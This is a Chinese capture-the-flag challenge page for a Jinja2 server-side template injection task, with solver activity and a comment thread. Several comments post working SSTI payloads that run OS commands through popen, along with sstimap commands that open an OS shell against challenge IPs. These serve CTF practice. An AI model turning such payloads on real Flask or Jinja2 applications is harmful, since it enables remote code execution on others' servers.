Simple_SSTI_2WEB 未解决
分数:
10
金币:
3
题目作者:
valecalida
一 血:
Tokeii
一血奖励:
3金币
解 决:
16584
提 示:
描 述:
Simple_SSTI_2
评分(15)
解题动态
百里一兔 攻破了该题 18小时前
孙笑川ᒿ58 攻破了该题 1天前
bugku0521 攻破了该题 2天前
曹达华 攻破了该题 2天前
wlk 攻破了该题 6天前
Qispash 攻破了该题 6天前
570570 攻破了该题 7天前
rudy1899 攻破了该题 7天前
Gmingrui 攻破了该题 8天前
xiaofangni 攻破了该题 8天前
kxzzy 攻破了该题 10天前
ailiyishen 攻破了该题 11天前
dacw 攻破了该题 11天前
caomao 攻破了该题 12天前
Aptlion 攻破了该题 14天前
sxyscm 攻破了该题 14天前
awaStorm 攻破了该题 14天前
rschei7 攻破了该题 15天前
icyskin 攻破了该题 16天前
评论
icyskin 16天前
举报
sstimap -u http://160.202.254.160:19762/?flag=1 --os-shell -e Jinja2 echo $FLAG
icyskin 16天前
举报
http://160.202.254.160:19762/?flag={{url_for.__globals__[%27os%27].popen(%27cat%20/app/flag%27).read()}}
suxiansheng 2月前
举报
详解参考https://mp.csdn.net/mp_blog/creation/editor/161513397
pipizhu 2月前
举报
?flag={{lipsum.__globals__['os'].popen('cat /app/flag').read()}}获取flag
bugku2026 3月前
举报
先通过?flag={{self.__dict__}}发现拥有lipsum，再通过?flag={{lipsum.__globals__.os.popen("cat /app/flag").read()}}获取flag
r1ng_13 4月前
举报
焚靖直接秒，比上一个SSTI还简单
网恋秀牛子被录屏导致自卑 7月前
举报
/?flag={{(OvO.__eq__.__globals__.sys.modules.os.popen('cat flag')).read()}}
liutong27 10月前
举报
python3 sstimap.py -u http://117.72.52.127:12369/?flag=1 --os-shell
wywitkey 1年前
举报
前面说的都对，这道题在ssti里比较简单，推荐使用sstimap,可以一把梭，直接出os-shell
HK1ng 1年前
举报
详解：https://blog.csdn.net/m0_59527104/article/details/147013776